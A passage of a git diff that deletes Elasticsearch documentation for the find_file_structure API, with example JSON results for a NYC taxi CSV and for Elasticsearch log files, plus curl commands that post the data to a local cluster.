-  "sample_start" : "VendorID,tpep_pickup_datetime,tpep_dropoff_datetime,passenger_count,trip_distance,RatecodeID,store_and_fwd_flag,PULocationID,DOLocationID,payment_type,fare_amount,extra,mta_tax,tip_amount,tolls_amount,improvement_surcharge,total_amount\n\n1,2018-06-01 00:15:40,2018-06-01 00:16:46,1,.00,1,N,145,145,2,3,0.5,0.5,0,0,0.3,4.3\n",
-  "charset" : "UTF-8",
-  "has_byte_order_marker" : false,
-  "format" : "delimited", <2>
-  "multiline_start_pattern" : "^.*?,\"?\\d{4}-\\d{2}-\\d{2}[T ]\\d{2}:\\d{2}",
-  "exclude_lines_pattern" : "^\"?VendorID\"?,\"?tpep_pickup_datetime\"?,\"?tpep_dropoff_datetime\"?,\"?passenger_count\"?,\"?trip_distance\"?,\"?RatecodeID\"?,\"?store_and_fwd_flag\"?,\"?PULocationID\"?,\"?DOLocationID\"?,\"?payment_type\"?,\"?fare_amount\"?,\"?extra\"?,\"?mta_tax\"?,\"?tip_amount\"?,\"?tolls_amount\"?,\"?improvement_surcharge\"?,\"?total_amount\"?",
-  "column_names" : [ <3>
-    "VendorID",
-    "tpep_pickup_datetime",
-    "tpep_dropoff_datetime",
-    "passenger_count",
-    "trip_distance",
-    "RatecodeID",
-    "store_and_fwd_flag",
-    "PULocationID",
-    "DOLocationID",
-    "payment_type",
-    "fare_amount",
-    "extra",
-    "mta_tax",
-    "tip_amount",
-    "tolls_amount",
-    "improvement_surcharge",
-    "total_amount"
-  ],
-  "has_header_row" : true, <4>
-  "delimiter" : ",", <5>
-  "quote" : "\"", <6>
-  "timestamp_field" : "tpep_pickup_datetime", <7>
-  "joda_timestamp_formats" : [ <8>
-    "YYYY-MM-dd HH:mm:ss"
-  ],
-  "java_timestamp_formats" : [ <9>
-    "yyyy-MM-dd HH:mm:ss"
-  ],
-  "need_client_timezone" : true, <10>
-  "mappings" : {
-    "properties" : {
-      "@timestamp" : {
-        "type" : "date"
-      },
-      "DOLocationID" : {
-        "type" : "long"
-      },
-      "PULocationID" : {
-        "type" : "long"
-      },
-      "RatecodeID" : {
-        "type" : "long"
-      },
-      "VendorID" : {
-        "type" : "long"
-      },
-      "extra" : {
-        "type" : "double"
-      },
-      "fare_amount" : {
-        "type" : "double"
-      },
-      "improvement_surcharge" : {
-        "type" : "double"
-      },
-      "mta_tax" : {
-        "type" : "double"
-      },
-      "passenger_count" : {
-        "type" : "long"
-      },
-      "payment_type" : {
-        "type" : "long"
-      },
-      "store_and_fwd_flag" : {
-        "type" : "keyword"
-      },
-      "tip_amount" : {
-        "type" : "double"
-      },
-      "tolls_amount" : {
-        "type" : "double"
-      },
-      "total_amount" : {
-        "type" : "double"
-      },
-      "tpep_dropoff_datetime" : {
-        "type" : "date",
-        "format" : "yyyy-MM-dd HH:mm:ss"
-      },
-      "tpep_pickup_datetime" : {
-        "type" : "date",
-        "format" : "yyyy-MM-dd HH:mm:ss"
-      },
-      "trip_distance" : {
-        "type" : "double"
-      }
-    }
-  },
-  "ingest_pipeline" : {
-    "description" : "Ingest pipeline created by file structure finder",
-    "processors" : [
-      {
-        "csv" : {
-          "field" : "message",
-          "target_fields" : [
-            "VendorID",
-            "tpep_pickup_datetime",
-            "tpep_dropoff_datetime",
-            "passenger_count",
-            "trip_distance",
-            "RatecodeID",
-            "store_and_fwd_flag",
-            "PULocationID",
-            "DOLocationID",
-            "payment_type",
-            "fare_amount",
-            "extra",
-            "mta_tax",
-            "tip_amount",
-            "tolls_amount",
-            "improvement_surcharge",
-            "total_amount"
-          ]
-        }
-      },
-      {
-        "date" : {
-          "field" : "tpep_pickup_datetime",
-          "timezone" : "{{ event.timezone }}",
-          "formats" : [
-            "yyyy-MM-dd HH:mm:ss"
-          ]
-        }
-      },
-      {
-        "convert" : {
-          "field" : "DOLocationID",
-          "type" : "long"
-        }
-      },
-      {
-        "convert" : {
-          "field" : "PULocationID",
-          "type" : "long"
-        }
-      },
-      {
-        "convert" : {
-          "field" : "RatecodeID",
-          "type" : "long"
-        }
-      },
-      {
-        "convert" : {
-          "field" : "VendorID",
-          "type" : "long"
-        }
-      },
-      {
-        "convert" : {
-          "field" : "extra",
-          "type" : "double"
-        }
-      },
-      {
-        "convert" : {
-          "field" : "fare_amount",
-          "type" : "double"
-        }
-      },
-      {
-        "convert" : {
-          "field" : "improvement_surcharge",
-          "type" : "double"
-        }
-      },
-      {
-        "convert" : {
-          "field" : "mta_tax",
-          "type" : "double"
-        }
-      },
-      {
-        "convert" : {
-          "field" : "passenger_count",
-          "type" : "long"
-        }
-      },
-      {
-        "convert" : {
-          "field" : "payment_type",
-          "type" : "long"
-        }
-      },
-      {
-        "convert" : {
-          "field" : "tip_amount",
-          "type" : "double"
-        }
-      },
-      {
-        "convert" : {
-          "field" : "tolls_amount",
-          "type" : "double"
-        }
-      },
-      {
-        "convert" : {
-          "field" : "total_amount",
-          "type" : "double"
-        }
-      },
-      {
-        "convert" : {
-          "field" : "trip_distance",
-          "type" : "double"
-        }
-      },
-      {
-        "remove" : {
-          "field" : "message"
-        }
-      }
-    ]
-  },
-  "field_stats" : {
-    "DOLocationID" : {
-      "count" : 19998,
-      "cardinality" : 240,
-      "min_value" : 1,
-      "max_value" : 265,
-      "mean_value" : 150.26532653265312,
-      "median_value" : 148,
-      "top_hits" : [
-        {
-          "value" : 79,
-          "count" : 760
-        },
-        {
-          "value" : 48,
-          "count" : 683
-        },
-        {
-          "value" : 68,
-          "count" : 529
-        },
-        {
-          "value" : 170,
-          "count" : 506
-        },
-        {
-          "value" : 107,
-          "count" : 468
-        },
-        {
-          "value" : 249,
-          "count" : 457
-        },
-        {
-          "value" : 230,
-          "count" : 441
-        },
-        {
-          "value" : 186,
-          "count" : 432
-        },
-        {
-          "value" : 141,
-          "count" : 409
-        },
-        {
-          "value" : 263,
-          "count" : 386
-        }
-      ]
-    },
-    "PULocationID" : {
-      "count" : 19998,
-      "cardinality" : 154,
-      "min_value" : 1,
-      "max_value" : 265,
-      "mean_value" : 153.4042404240424,
-      "median_value" : 148,
-      "top_hits" : [
-        {
-          "value" : 79,
-          "count" : 1067
-        },
-        {
-          "value" : 230,
-          "count" : 949
-        },
-        {
-          "value" : 148,
-          "count" : 940
-        },
-        {
-          "value" : 132,
-          "count" : 897
-        },
-        {
-          "value" : 48,
-          "count" : 853
-        },
-        {
-          "value" : 161,
-          "count" : 820
-        },
-        {
-          "value" : 234,
-          "count" : 750
-        },
-        {
-          "value" : 249,
-          "count" : 722
-        },
-        {
-          "value" : 164,
-          "count" : 663
-        },
-        {
-          "value" : 114,
-          "count" : 646
-        }
-      ]
-    },
-    "RatecodeID" : {
-      "count" : 19998,
-      "cardinality" : 5,
-      "min_value" : 1,
-      "max_value" : 5,
-      "mean_value" : 1.0656565656565653,
-      "median_value" : 1,
-      "top_hits" : [
-        {
-          "value" : 1,
-          "count" : 19311
-        },
-        {
-          "value" : 2,
-          "count" : 468
-        },
-        {
-          "value" : 5,
-          "count" : 195
-        },
-        {
-          "value" : 4,
-          "count" : 17
-        },
-        {
-          "value" : 3,
-          "count" : 7
-        }
-      ]
-    },
-    "VendorID" : {
-      "count" : 19998,
-      "cardinality" : 2,
-      "min_value" : 1,
-      "max_value" : 2,
-      "mean_value" : 1.59005900590059,
-      "median_value" : 2,
-      "top_hits" : [
-        {
-          "value" : 2,
-          "count" : 11800
-        },
-        {
-          "value" : 1,
-          "count" : 8198
-        }
-      ]
-    },
-    "extra" : {
-      "count" : 19998,
-      "cardinality" : 3,
-      "min_value" : -0.5,
-      "max_value" : 0.5,
-      "mean_value" : 0.4815981598159816,
-      "median_value" : 0.5,
-      "top_hits" : [
-        {
-          "value" : 0.5,
-          "count" : 19281
-        },
-        {
-          "value" : 0,
-          "count" : 698
-        },
-        {
-          "value" : -0.5,
-          "count" : 19
-        }
-      ]
-    },
-    "fare_amount" : {
-      "count" : 19998,
-      "cardinality" : 208,
-      "min_value" : -100,
-      "max_value" : 300,
-      "mean_value" : 13.937719771977209,
-      "median_value" : 9.5,
-      "top_hits" : [
-        {
-          "value" : 6,
-          "count" : 1004
-        },
-        {
-          "value" : 6.5,
-          "count" : 935
-        },
-        {
-          "value" : 5.5,
-          "count" : 909
-        },
-        {
-          "value" : 7,
-          "count" : 903
-        },
-        {
-          "value" : 5,
-          "count" : 889
-        },
-        {
-          "value" : 7.5,
-          "count" : 854
-        },
-        {
-          "value" : 4.5,
-          "count" : 802
-        },
-        {
-          "value" : 8.5,
-          "count" : 790
-        },
-        {
-          "value" : 8,
-          "count" : 789
-        },
-        {
-          "value" : 9,
-          "count" : 711
-        }
-      ]
-    },
-    "improvement_surcharge" : {
-      "count" : 19998,
-      "cardinality" : 3,
-      "min_value" : -0.3,
-      "max_value" : 0.3,
-      "mean_value" : 0.29915991599159913,
-      "median_value" : 0.3,
-      "top_hits" : [
-        {
-          "value" : 0.3,
-          "count" : 19964
-        },
-        {
-          "value" : -0.3,
-          "count" : 22
-        },
-        {
-          "value" : 0,
-          "count" : 12
-        }
-      ]
-    },
-    "mta_tax" : {
-      "count" : 19998,
-      "cardinality" : 3,
-      "min_value" : -0.5,
-      "max_value" : 0.5,
-      "mean_value" : 0.4962246224622462,
-      "median_value" : 0.5,
-      "top_hits" : [
-        {
-          "value" : 0.5,
-          "count" : 19868
-        },
-        {
-          "value" : 0,
-          "count" : 109
-        },
-        {
-          "value" : -0.5,
-          "count" : 21
-        }
-      ]
-    },
-    "passenger_count" : {
-      "count" : 19998,
-      "cardinality" : 7,
-      "min_value" : 0,
-      "max_value" : 6,
-      "mean_value" : 1.6201620162016201,
-      "median_value" : 1,
-      "top_hits" : [
-        {
-          "value" : 1,
-          "count" : 14219
-        },
-        {
-          "value" : 2,
-          "count" : 2886
-        },
-        {
-          "value" : 5,
-          "count" : 1047
-        },
-        {
-          "value" : 3,
-          "count" : 804
-        },
-        {
-          "value" : 6,
-          "count" : 523
-        },
-        {
-          "value" : 4,
-          "count" : 406
-        },
-        {
-          "value" : 0,
-          "count" : 113
-        }
-      ]
-    },
-    "payment_type" : {
-      "count" : 19998,
-      "cardinality" : 4,
-      "min_value" : 1,
-      "max_value" : 4,
-      "mean_value" : 1.315631563156316,
-      "median_value" : 1,
-      "top_hits" : [
-        {
-          "value" : 1,
-          "count" : 13936
-        },
-        {
-          "value" : 2,
-          "count" : 5857
-        },
-        {
-          "value" : 3,
-          "count" : 160
-        },
-        {
-          "value" : 4,
-          "count" : 45
-        }
-      ]
-    },
-    "store_and_fwd_flag" : {
-      "count" : 19998,
-      "cardinality" : 2,
-      "top_hits" : [
-        {
-          "value" : "N",
-          "count" : 19910
-        },
-        {
-          "value" : "Y",
-          "count" : 88
-        }
-      ]
-    },
-    "tip_amount" : {
-      "count" : 19998,
-      "cardinality" : 717,
-      "min_value" : 0,
-      "max_value" : 128,
-      "mean_value" : 2.010959095909593,
-      "median_value" : 1.45,
-      "top_hits" : [
-        {
-          "value" : 0,
-          "count" : 6917
-        },
-        {
-          "value" : 1,
-          "count" : 1178
-        },
-        {
-          "value" : 2,
-          "count" : 624
-        },
-        {
-          "value" : 3,
-          "count" : 248
-        },
-        {
-          "value" : 1.56,
-          "count" : 206
-        },
-        {
-          "value" : 1.46,
-          "count" : 205
-        },
-        {
-          "value" : 1.76,
-          "count" : 196
-        },
-        {
-          "value" : 1.45,
-          "count" : 195
-        },
-        {
-          "value" : 1.36,
-          "count" : 191
-        },
-        {
-          "value" : 1.5,
-          "count" : 187
-        }
-      ]
-    },
-    "tolls_amount" : {
-      "count" : 19998,
-      "cardinality" : 26,
-      "min_value" : 0,
-      "max_value" : 35,
-      "mean_value" : 0.2729697969796978,
-      "median_value" : 0,
-      "top_hits" : [
-        {
-          "value" : 0,
-          "count" : 19107
-        },
-        {
-          "value" : 5.76,
-          "count" : 791
-        },
-        {
-          "value" : 10.5,
-          "count" : 36
-        },
-        {
-          "value" : 2.64,
-          "count" : 21
-        },
-        {
-          "value" : 11.52,
-          "count" : 8
-        },
-        {
-          "value" : 5.54,
-          "count" : 4
-        },
-        {
-          "value" : 8.5,
-          "count" : 4
-        },
-        {
-          "value" : 17.28,
-          "count" : 4
-        },
-        {
-          "value" : 2,
-          "count" : 2
-        },
-        {
-          "value" : 2.16,
-          "count" : 2
-        }
-      ]
-    },
-    "total_amount" : {
-      "count" : 19998,
-      "cardinality" : 1267,
-      "min_value" : -100.3,
-      "max_value" : 389.12,
-      "mean_value" : 17.499898989898995,
-      "median_value" : 12.35,
-      "top_hits" : [
-        {
-          "value" : 7.3,
-          "count" : 478
-        },
-        {
-          "value" : 8.3,
-          "count" : 443
-        },
-        {
-          "value" : 8.8,
-          "count" : 420
-        },
-        {
-          "value" : 6.8,
-          "count" : 406
-        },
-        {
-          "value" : 7.8,
-          "count" : 405
-        },
-        {
-          "value" : 6.3,
-          "count" : 371
-        },
-        {
-          "value" : 9.8,
-          "count" : 368
-        },
-        {
-          "value" : 5.8,
-          "count" : 362
-        },
-        {
-          "value" : 9.3,
-          "count" : 332
-        },
-        {
-          "value" : 10.3,
-          "count" : 332
-        }
-      ]
-    },
-    "tpep_dropoff_datetime" : {
-      "count" : 19998,
-      "cardinality" : 9066,
-      "earliest" : "2018-05-31 06:18:15",
-      "latest" : "2018-06-02 02:25:44",
-      "top_hits" : [
-        {
-          "value" : "2018-06-01 01:12:12",
-          "count" : 10
-        },
-        {
-          "value" : "2018-06-01 00:32:15",
-          "count" : 9
-        },
-        {
-          "value" : "2018-06-01 00:44:27",
-          "count" : 9
-        },
-        {
-          "value" : "2018-06-01 00:46:42",
-          "count" : 9
-        },
-        {
-          "value" : "2018-06-01 01:03:22",
-          "count" : 9
-        },
-        {
-          "value" : "2018-06-01 01:05:13",
-          "count" : 9
-        },
-        {
-          "value" : "2018-06-01 00:11:20",
-          "count" : 8
-        },
-        {
-          "value" : "2018-06-01 00:16:03",
-          "count" : 8
-        },
-        {
-          "value" : "2018-06-01 00:19:47",
-          "count" : 8
-        },
-        {
-          "value" : "2018-06-01 00:25:17",
-          "count" : 8
-        }
-      ]
-    },
-    "tpep_pickup_datetime" : {
-      "count" : 19998,
-      "cardinality" : 8760,
-      "earliest" : "2018-05-31 06:08:31",
-      "latest" : "2018-06-02 01:21:21",
-      "top_hits" : [
-        {
-          "value" : "2018-06-01 00:01:23",
-          "count" : 12
-        },
-        {
-          "value" : "2018-06-01 00:04:31",
-          "count" : 10
-        },
-        {
-          "value" : "2018-06-01 00:05:38",
-          "count" : 10
-        },
-        {
-          "value" : "2018-06-01 00:09:50",
-          "count" : 10
-        },
-        {
-          "value" : "2018-06-01 00:12:01",
-          "count" : 10
-        },
-        {
-          "value" : "2018-06-01 00:14:17",
-          "count" : 10
-        },
-        {
-          "value" : "2018-06-01 00:00:34",
-          "count" : 9
-        },
-        {
-          "value" : "2018-06-01 00:00:40",
-          "count" : 9
-        },
-        {
-          "value" : "2018-06-01 00:02:53",
-          "count" : 9
-        },
-        {
-          "value" : "2018-06-01 00:05:40",
-          "count" : 9
-        }
-      ]
-    },
-    "trip_distance" : {
-      "count" : 19998,
-      "cardinality" : 1687,
-      "min_value" : 0,
-      "max_value" : 64.63,
-      "mean_value" : 3.6521062106210715,
-      "median_value" : 2.16,
-      "top_hits" : [
-        {
-          "value" : 0.9,
-          "count" : 335
-        },
-        {
-          "value" : 0.8,
-          "count" : 320
-        },
-        {
-          "value" : 1.1,
-          "count" : 316
-        },
-        {
-          "value" : 0.7,
-          "count" : 304
-        },
-        {
-          "value" : 1.2,
-          "count" : 303
-        },
-        {
-          "value" : 1,
-          "count" : 296
-        },
-        {
-          "value" : 1.3,
-          "count" : 280
-        },
-        {
-          "value" : 1.5,
-          "count" : 268
-        },
-        {
-          "value" : 1.6,
-          "count" : 268
-        },
-        {
-          "value" : 0.6,
-          "count" : 256
-        }
-      ]
-    }
-  }
-}
-----
-// NOTCONSOLE
-
-<1> `num_messages_analyzed` is 2 lower than `num_lines_analyzed` because only
-    data records count as messages. The first line contains the column names
-    and in this sample the second line is blank.
-<2> Unlike the first example, in this case the `format` has been identified as
-    `delimited`.
-<3> Because the `format` is `delimited`, the `column_names` field in the output
-    lists the column names in the order they appear in the sample.
-<4> `has_header_row` indicates that for this sample the column names were in
-    the first row of the sample. (If they hadn't been then it would have been
-    a good idea to specify them in the `column_names` query parameter.)
-<5> The `delimiter` for this sample is a comma, as it's a CSV file.
-<6> The `quote` character is the default double quote. (The structure finder
-    does not attempt to deduce any other quote character, so if you have a
-    delimited file that's quoted with some other character you must specify it
-    using the `quote` query parameter.)
-<7> The `timestamp_field` has been chosen to be `tpep_pickup_datetime`.
-    `tpep_dropoff_datetime` would work just as well, but `tpep_pickup_datetime`
-    was chosen because it comes first in the column order. If you prefer
-    `tpep_dropoff_datetime` then force it to be chosen using the
-    `timestamp_field` query parameter.
-<8> `joda_timestamp_formats` are used to tell Logstash how to parse timestamps.
-<9> `java_timestamp_formats` are the Java time formats recognized in the time
-    fields. Elasticsearch mappings and Ingest pipeline use this format.
-<10> The timestamp format in this sample doesn't specify a timezone, so to
-     accurately convert them to UTC timestamps to store in Elasticsearch it's
-     necessary to supply the timezone they relate to. `need_client_timezone`
-     will be `false` for timestamp formats that include the timezone.
-
-
-[[ml-find-file-structure-example-timeout]]
-=== Setting the timeout parameter
-
-If you try to analyze a lot of data then the analysis will take a long time.
-If you want to limit the amount of processing your {es} cluster performs for
-a request, use the `timeout` query parameter. The analysis will be aborted and
-an error returned when the timeout expires. For example, you can replace 20000
-lines in the previous example with 200000 and set a 1 second timeout on the
-analysis:
-
-[source,js]
-----
-curl -s "s3.amazonaws.com/nyc-tlc/trip+data/yellow_tripdata_2018-06.csv" | head -200000 | curl -s -H "Content-Type: application/json" -XPOST "localhost:9200/_ml/find_file_structure?pretty&lines_to_sample=200000&timeout=1s" -T -
-----
-// NOTCONSOLE
-// Not converting to console because this shows how curl can be used
-
-Unless you are using an incredibly fast computer you'll receive a timeout error:
-
-[source,js]
-----
-{
-  "error" : {
-    "root_cause" : [
-      {
-        "type" : "timeout_exception",
-        "reason" : "Aborting structure analysis during [delimited record parsing] as it has taken longer than the timeout of [1s]"
-      }
-    ],
-    "type" : "timeout_exception",
-    "reason" : "Aborting structure analysis during [delimited record parsing] as it has taken longer than the timeout of [1s]"
-  },
-  "status" : 500
-}
-----
-// NOTCONSOLE
-
---
-NOTE: If you try the example above yourself you will note that the overall
-running time of the `curl` commands is considerably longer than 1 second. This
-is because it takes a while to download 200000 lines of CSV from the internet,
-and the timeout is measured from the time this endpoint starts to process the
-data.
---
-
-
-[[ml-find-file-structure-example-eslog]]
-=== Analyzing {es} log files
-
-This is an example of analyzing {es}'s own log file:
-
-[source,js]
-----
-curl -s -H "Content-Type: application/json" -XPOST "localhost:9200/_ml/find_file_structure?pretty" -T "$ES_HOME/logs/elasticsearch.log"
-----
-// NOTCONSOLE
-// Not converting to console because this shows how curl can be used
-
-If the request does not encounter errors, the result will look something like
-this:
-
-[source,js]
-----
-{
-  "num_lines_analyzed" : 53,
-  "num_messages_analyzed" : 53,
-  "sample_start" : "[2018-09-27T14:39:28,518][INFO ][o.e.e.NodeEnvironment    ] [node-0] using [1] data paths, mounts [[/ (/dev/disk1)]], net usable_space [165.4gb], net total_space [464.7gb], types [hfs]\n[2018-09-27T14:39:28,521][INFO ][o.e.e.NodeEnvironment    ] [node-0] heap size [494.9mb], compressed ordinary object pointers [true]\n",
-  "charset" : "UTF-8",
-  "has_byte_order_marker" : false,
-  "format" : "semi_structured_text", <1>
-  "multiline_start_pattern" : "^\\[\\b\\d{4}-\\d{2}-\\d{2}[T ]\\d{2}:\\d{2}", <2>
-  "grok_pattern" : "\\[%{TIMESTAMP_ISO8601:timestamp}\\]\\[%{LOGLEVEL:loglevel}.*", <3>
-  "timestamp_field" : "timestamp",
-  "joda_timestamp_formats" : [
-    "ISO8601"
-  ],
-  "java_timestamp_formats" : [
-    "ISO8601"
-  ],
-  "need_client_timezone" : true,
-  "mappings" : {
-    "properties" : {
-      "@timestamp" : {
-        "type" : "date"
-      },
-      "loglevel" : {
-        "type" : "keyword"
-      },
-      "message" : {
-        "type" : "text"
-      }
-    }
-  },
-  "ingest_pipeline" : {
-    "description" : "Ingest pipeline created by file structure finder",
-    "processors" : [
-      {
-        "grok" : {
-          "field" : "message",
-          "patterns" : [
-            "\\[%{TIMESTAMP_ISO8601:timestamp}\\]\\[%{LOGLEVEL:loglevel}.*"
-          ]
-        }
-      },
-      {
-        "date" : {
-          "field" : "timestamp",
-          "timezone" : "{{ event.timezone }}",
-          "formats" : [
-            "ISO8601"
-          ]
-        }
-      },
-      {
-        "remove" : {
-          "field" : "timestamp"
-        }
-      }
-    ]
-  },
-  "field_stats" : {
-    "loglevel" : {
-      "count" : 53,
-      "cardinality" : 3,
-      "top_hits" : [
-        {
-          "value" : "INFO",
-          "count" : 51
-        },
-        {
-          "value" : "DEBUG",
-          "count" : 1
-        },
-        {
-          "value" : "WARN",
-          "count" : 1
-        }
-      ]
-    },
-    "timestamp" : {
-      "count" : 53,
-      "cardinality" : 28,
-      "earliest" : "2018-09-27T14:39:28,518",
-      "latest" : "2018-09-27T14:39:37,012",
-      "top_hits" : [
-        {
-          "value" : "2018-09-27T14:39:29,859",
-          "count" : 10
-        },
-        {
-          "value" : "2018-09-27T14:39:29,860",
-          "count" : 9
-        },
-        {
-          "value" : "2018-09-27T14:39:29,858",
-          "count" : 6
-        },
-        {
-          "value" : "2018-09-27T14:39:28,523",
-          "count" : 3
-        },
-        {
-          "value" : "2018-09-27T14:39:34,234",
-          "count" : 2
-        },
-        {
-          "value" : "2018-09-27T14:39:28,518",
-          "count" : 1
-        },
-        {
-          "value" : "2018-09-27T14:39:28,521",
-          "count" : 1
-        },
-        {
-          "value" : "2018-09-27T14:39:28,522",
-          "count" : 1
-        },
-        {
-          "value" : "2018-09-27T14:39:29,861",
-          "count" : 1
-        },
-        {
-          "value" : "2018-09-27T14:39:32,786",
-          "count" : 1
-        }
-      ]
-    }
-  }
-}
-----
-// NOTCONSOLE
-
-<1> This time the `format` has been identified as `semi_structured_text`.
-<2> The `multiline_start_pattern` is set on the basis that the timestamp appears
-    in the first line of each multi-line log message.
-<3> A very simple `grok_pattern` has been created, which extracts the timestamp
-    and recognizable fields that appear in every analyzed message. In this case
-    the only field that was recognized beyond the timestamp was the log level.
-
-
-[[ml-find-file-structure-example-grok]]
-=== Specifying `grok_pattern` as query parameter
-
-If you recognize more fields than the simple `grok_pattern` produced by the
-structure finder unaided then you can resubmit the request specifying a more
-advanced `grok_pattern` as a query parameter and the structure finder will
-calculate `field_stats` for your additional fields.
-
-In the case of the {es} log a more complete Grok pattern is
-`\[%{TIMESTAMP_ISO8601:timestamp}\]\[%{LOGLEVEL:loglevel} *\]\[%{JAVACLASS:class} *\] \[%{HOSTNAME:node}\] %{JAVALOGMESSAGE:message}`.
-You can analyze the same log file again, submitting this `grok_pattern` as a
-query parameter (appropriately URL escaped):
-
-[source,js]
-----
-curl -s -H "Content-Type: application/json" -XPOST "localhost:9200/_ml/find_file_structure?pretty&format=semi_structured_text&grok_pattern=%5C%5B%25%7BTIMESTAMP_ISO8601:timestamp%7D%5C%5D%5C%5B%25%7BLOGLEVEL:loglevel%7D%20*%5C%5D%5C%5B%25%7BJAVACLASS:class%7D%20*%5C%5D%20%5C%5B%25%7BHOSTNAME:node%7D%5C%5D%20%25%7BJAVALOGMESSAGE:message%7D" -T "$ES_HOME/logs/elasticsearch.log"
-----
-// NOTCONSOLE
-// Not converting to console because this shows how curl can be used
-
-If the request does not encounter errors, the result will look something like
-this:
-
-[source,js]
-----
-{
-  "num_lines_analyzed" : 53,
-  "num_messages_analyzed" : 53,
-  "sample_start" : "[2018-09-27T14:39:28,518][INFO ][o.e.e.NodeEnvironment    ] [node-0] using [1] data paths, mounts [[/ (/dev/disk1)]], net usable_space [165.4gb], net total_space [464.7gb], types [hfs]\n[2018-09-27T14:39:28,521][INFO ][o.e.e.NodeEnvironment    ] [node-0] heap size [494.9mb], compressed ordinary object pointers [true]\n",
-  "charset" : "UTF-8",
-  "has_byte_order_marker" : false,
-  "format" : "semi_structured_text",
-  "multiline_start_pattern" : "^\\[\\b\\d{4}-\\d{2}-\\d{2}[T ]\\d{2}:\\d{2}",
-  "grok_pattern" : "\\[%{TIMESTAMP_ISO8601:timestamp}\\]\\[%{LOGLEVEL:loglevel} *\\]\\[%{JAVACLASS:class} *\\] \\[%{HOSTNAME:node}\\] %{JAVALOGMESSAGE:message}", <1>
-  "timestamp_field" : "timestamp",
-  "joda_timestamp_formats" : [
-    "ISO8601"
-  ],
-  "java_timestamp_formats" : [
-    "ISO8601"
-  ],
-  "need_client_timezone" : true,
-  "mappings" : {
-    "properties" : {
-      "@timestamp" : {
-        "type" : "date"
-      },
-      "class" : {
-        "type" : "keyword"
-      },
-      "loglevel" : {
-        "type" : "keyword"
-      },
-      "message" : {
-        "type" : "text"
-      },
-      "node" : {
-        "type" : "keyword"
-      }
-    }
-  },
-  "ingest_pipeline" : {
-    "description" : "Ingest pipeline created by file structure finder",
-    "processors" : [
-      {
-        "grok" : {
-          "field" : "message",
-          "patterns" : [
-            "\\[%{TIMESTAMP_ISO8601:timestamp}\\]\\[%{LOGLEVEL:loglevel} *\\]\\[%{JAVACLASS:class} *\\] \\[%{HOSTNAME:node}\\] %{JAVALOGMESSAGE:message}"
-          ]
-        }
-      },
-      {
-        "date" : {
-          "field" : "timestamp",
-          "timezone" : "{{ event.timezone }}",
-          "formats" : [
-            "ISO8601"
-          ]
-        }
-      },
-      {
-        "remove" : {
-          "field" : "timestamp"
-        }
-      }
-    ]
-  },
-  "field_stats" : { <2>
-    "class" : {
-      "count" : 53,
-      "cardinality" : 14,
-      "top_hits" : [
-        {
-          "value" : "o.e.p.PluginsService",
-          "count" : 26
-        },
-        {
-          "value" : "o.e.c.m.MetadataIndexTemplateService",
-          "count" : 8
-        },
-        {
-          "value" : "o.e.n.Node",
-          "count" : 7
-        },
-        {
-          "value" : "o.e.e.NodeEnvironment",
-          "count" : 2
-        },
-        {
-          "value" : "o.e.a.ActionModule",
-          "count" : 1
-        },
-        {
-          "value" : "o.e.c.s.ClusterApplierService",
-          "count" : 1
-        },
-        {
-          "value" : "o.e.c.s.MasterService",
-          "count" : 1
-        },
-        {
-          "value" : "o.e.d.DiscoveryModule",
-          "count" : 1
-        },
-        {
-          "value" : "o.e.g.GatewayService",
-          "count" : 1
-        },
-        {
-          "value" : "o.e.l.LicenseService",
-          "count" : 1
-        }
-      ]
-    },
-    "loglevel" : {
-      "count" : 53,
-      "cardinality" : 3,
-      "top_hits" : [
-        {
-          "value" : "INFO",
-          "count" : 51
-        },
-        {
-          "value" : "DEBUG",
-          "count" : 1
-        },
-        {
-          "value" : "WARN",
-          "count" : 1
-        }
-      ]
-    },
-    "message" : {
-      "count" : 53,
-      "cardinality" : 53,
-      "top_hits" : [
-        {
-          "value" : "Using REST wrapper from plugin org.elasticsearch.xpack.security.Security",
-          "count" : 1
-        },
-        {
-          "value" : "adding template [.monitoring-alerts] for index patterns [.monitoring-alerts-6]",
-          "count" : 1
-        },
-        {
-          "value" : "adding template [.monitoring-beats] for index patterns [.monitoring-beats-6-*]",
-          "count" : 1
-        },
-        {
-          "value" : "adding template [.monitoring-es] for index patterns [.monitoring-es-6-*]",
-          "count" : 1
-        },
-        {
-          "value" : "adding template [.monitoring-kibana] for index patterns [.monitoring-kibana-6-*]",
-          "count" : 1
-        },
-        {
-          "value" : "adding template [.monitoring-logstash] for index patterns [.monitoring-logstash-6-*]",
-          "count" : 1
-        },
-        {
-          "value" : "adding template [.triggered_watches] for index patterns [.triggered_watches*]",
-          "count" : 1
-        },
-        {
-          "value" : "adding template [.watch-history-9] for index patterns [.watcher-history-9*]",
-          "count" : 1
-        },
-        {
-          "value" : "adding template [.watches] for index patterns [.watches*]",
-          "count" : 1
-        },
-        {
-          "value" : "starting ...",
-          "count" : 1
-        }
-      ]
-    },
-    "node" : {
-      "count" : 53,
-      "cardinality" : 1,
-      "top_hits" : [
-        {
-          "value" : "node-0",
-          "count" : 53
-        }
-      ]
-    },
-    "timestamp" : {
-      "count" : 53,
-      "cardinality" : 28,
-      "earliest" : "2018-09-27T14:39:28,518",
-      "latest" : "2018-09-27T14:39:37,012",
-      "top_hits" : [
-        {
-          "value" : "2018-09-27T14:39:29,859",
-          "count" : 10
-        },
-        {
-          "value" : "2018-09-27T14:39:29,860",
-          "count" : 9
-        },
-        {
-          "value" : "2018-09-27T14:39:29,858",
-          "count" : 6
-        },
-        {
-          "value" : "2018-09-27T14:39:28,523",
-          "count" : 3
-        },
-        {
-          "value" : "2018-09-27T14:39:34,234",
-          "count" : 2
-        },
-        {
-          "value" : "2018-09-27T14:39:28,518",
-          "count" : 1
-        },
-        {
-          "value" : "2018-09-27T14:39:28,521",
-          "count" : 1
-        },
-        {
-          "value" : "2018-09-27T14:39:28,522",
-          "count" : 1
-        },
-        {
-          "value" : "2018-09-27T14:39:29,861",
-          "count" : 1
-        },
-        {
-          "value" : "2018-09-27T14:39:32,786",
-          "count" : 1
-        }
-      ]
-    }
-  }
-}
-----
-// NOTCONSOLE
-
-<1> The `grok_pattern` in the output is now the overridden one supplied in the
-    query parameter.
-<2> The returned `field_stats` include entries for the fields from the
-    overridden `grok_pattern`.
-
-The URL escaping is hard, so if you are working interactively it is best to use
-the {ml} UI!
diff --git a/docs/reference/ml/anomaly-detection/apis/flush-job.asciidoc b/docs/reference/ml/anomaly-detection/apis/flush-job.asciidoc
deleted file mode 100644
index 0d72266f94a..00000000000
--- a/docs/reference/ml/anomaly-detection/apis/flush-job.asciidoc
+++ /dev/null
@@ -1,114 +0,0 @@
